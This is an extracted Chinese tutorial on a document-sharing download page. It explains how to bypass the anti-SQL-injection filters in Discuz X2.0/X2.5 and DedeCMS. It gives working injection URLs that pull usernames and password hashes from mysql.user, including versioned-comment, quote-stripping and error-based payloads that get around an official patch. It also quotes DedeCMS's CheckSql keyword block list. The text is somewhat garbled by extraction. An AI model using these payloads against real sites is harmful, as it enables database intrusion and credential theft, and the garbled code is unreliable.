ImageVerifierCode 换一换
格式:DOCX , 页数:24 ,大小:178.97KB ,
资源ID:3755105      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/3755105.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(几种通用防注入程序绕过方法doc.docx)为本站会员(b****4)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

几种通用防注入程序绕过方法doc.docx

1、几种通用防注入程序绕过方法doc几种通用防注入程序绕过方法000 前言目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。001 Discuz x2.0防注入防注入原理这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示01functiongetGoods($id)02$query= DB:query(select * from .DB:table(v63_goods). wh

2、ere id =.$id);03$goods= DB:fetch($query);04$goodsendtime2 =date(Y-m-d,$goodsendtime);05$goodsprice2 =$goodsprice;06if($goodssort =2)07$goodsendtime2=date(Y-m-d H:i:s,$goodsendtime);08$query= DB:query(“select * from “.DB:table(v63_pm).” where gid=$goodsid order by id desc “);09$last= DB:fetch($query)

3、;10if(is_array($last)11$goodsprice =$lastchujia;12$goodsuid =$lastuid;13$goodsusername =$lastusername;14$goodspm =$last;15if(time()+600$goodsendtime)16$goodsendtime =$lasttime+600;17$goodsendtime2=date(Y-m-d H:i:s,$lasttime+600);18192021return$goods;22触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第

4、6行和第8行,如图所示:下面可以构造如下请求触发漏洞了,如图所示:不过程序内置了一个_do_query_safe函数用来防注入,如图所示这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:因为我们的url中出现了union select,所以会被过滤掉。绕过方法这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:1http:/localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4

5、,5,6,concat(user,023,password),8,9,10,11,12,13 from mysql.user这里我们跟踪一下,绕过的具体过程。它会将/*/中间的内容去掉,然后保存在$clean变量中,其值为1select*frompre_v63_goodswhereid =1and1=2union/*/1,2,3,4,5,6,concat(user,023,password),8,9,10,11,12,13frommysql.user再进一步跟踪,它会将/*/也去掉,然对$clean变量做过滤,如图所示此时$clean值,如图所示此时$clean变量中不在含有危险字符串,绕过_

6、do_query_safe函数过滤,成功注入,截图如下:002 Discuz X2.5防注入防注入原理Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示这里$_configsecurityquerysafeafullnote默认被设置为0,重点关注这一点。这里跟踪一下失败的原因,如图所示:此时观察一下变量,_do_query_safe($sql)函数会将/*/中的内容去掉,然后存到$clean中,如图所示:其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:因为前面提到$

7、_configsecurityquerysafeafullnote=0,所以这里不会替换/*/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:所以注入失败。绕过方法在Mysql当中,定义变量用字符,可以用set a=abc,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用放入sql语句当中,帮助我们绕过防注入程序检查。这里利用如下方式绕过_do_query_safe函数过滤,如下所示:1http:/localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid= union select ,

8、2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user这里跟踪一下执行的过程,如图所示:这里有一个if判断,重点看这句1$clean= preg_replace(“/(.+?)/s”,”,$sql);它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用1unionselect这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示:这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:不过后来Discuz官方发布了一个修复补

9、丁,但并没用从根本上解决问题。官方的修复代码如下:加了一个判断,过滤字符串中的,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:1if(strpos($sql,/) = false &strpos($sql,#) = false &strpos($sql, ) = false) $clean= preg_replace(“/(.+?)/s”,”,$sql);这里我只要稍做一下变换就可以让字符消失,从而绕过它的过滤,利用如下所示:1http:/localhost/discuz/plugin.php?id=v63shop:goods&pac=

10、info&gid= or ” union select 1 from (select count(*),concat(select database(),floor(rand(0)*2)a from information_schema.tables group by a)b where 这里我引入了用来隐藏第一个字符,并将第一个替换为”,这样便可以替换掉第二个,这里我们跟踪一下代码,如图所示:可以看到$clean变为1select * from pre_v63_goods where id =“成功绕过补丁,如图所示:不过这样做的代价是不能再使用union select了,只能通过报错获取数

11、据。003 DedeCMS防注入防注入原理这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。漏洞存在于/plus/feedback.php中的第244行,代码如下所示01M_ID,0,0,$feedbacktype,$face,$msg); ;11$rs=$dsql-ExecuteNoneQuery($inquery);12if(!$rs)1314ShowMsg( 发表评论错误! , -1);15/echo $dsql-GetError();16exit();17181920/引用回复21elseif($

12、comtype=reply)2223$row=$dsql-GetOne(SELECT * FROM #_feedback WHERE id =$fid);24$arctitle=$rowarctitle;25$aid=$rowaid;26$msg=$quotemsg.$msg;27$msg= HtmlReplace($msg, 2);28$inquery=INSERT INTO #_feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg) VALUES ($aid,$typeid,$u

13、sername,$arctitle,$ip,$ischeck,$dtime,$cfg_ml-M_ID,0,0,$feedbacktype,$face,$msg);29$dsql-ExecuteNoneQuery($inquery);30这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示1$row=$dsql-GetOne(“SELECT * FROM

14、#_feedback WHERE id =$fid”);$arctitle=$rowarctitle;这里的查询#_feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,1$inquery= “INSERT INTO #_feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg) VALUES ($aid,$typeid,$username,$arctitle,$ip,$ischeck,$dtime

15、,$cfg_ml-M_ID,0,0,$feedbacktype,$face,$msg)”;这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#_feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码

16、插入到msg字段当中,这样便可以输出执行的内容了。绕过方法众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:001functionCheckSql($db_string,$querytype=select)002003global$cfg_cookie_encode;004$clean=”;005$error=”;006$old_pos= 0;007$pos= -1;008$log_file= DEDEINC././data/.md5($cfg_cookie_encode)._s

17、afe.txt;009$userIP= GetIP();010$getUrl= GetCurUrl();011012/如果是普通查询语句,直接过滤一些特殊语法013if($querytype=select)014015$notallow1=”0-9a-z._-1,(union|sleep|benchmark|load_file|outfile)0-9a-z.-1,”;016017/$notallow2 = “|/*”;018if(preg_match(“/”.$notallow1.”/i”,$db_string)019020fputs(fopen($log_file,a+),”$userIP|

18、$getUrl|$db_string|SelectBreakrn”);021exit(“Safe Alert: Request Error step 1 !”);022023024025/完整的SQL检查026while(TRUE)027028$pos=strpos($db_string,”,$pos+ 1);029if($pos= FALSE)030031break;032033$clean.=substr($db_string,$old_pos,$pos-$old_pos);034while(TRUE)035036$pos1=strpos($db_string,”,$pos+ 1);037

19、$pos2=strpos($db_string,$pos+ 1);038if($pos1= FALSE)039040break;041042elseif($pos2= FALSE |$pos2$pos1)043044$pos=$pos1;045break;046047$pos=$pos2+ 1;048049$clean.=$s$;050$old_pos=$pos+ 1;051052$clean.=substr($db_string,$old_pos);053$clean= trim(strtolower(preg_replace(array(s+s),array( ),$clean);0540

20、55/老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它056if(strpos($clean,union) != FALSE & preg_match(|a-z)union($|a-z)s,$clean) != 0)057058$fail= TRUE;059$error=”union detect”;060061062/发布版本的程序可能比较少包括,#这样的注释,但是黑客经常使用它们063elseif(strpos($clean,/*) 2 |strpos($clean,) != FALSE |strpos($clean,#) != FALSE)064065$fail= TRUE;066$error=”comment detect”;067068069/这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库070elseif(strpos($clean,sleep) != FALSE & preg_match(|a-z)sleep($|a-z)s,$clean) != 0)071072$fail= TRUE;073$error=”slown down detect”;074

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1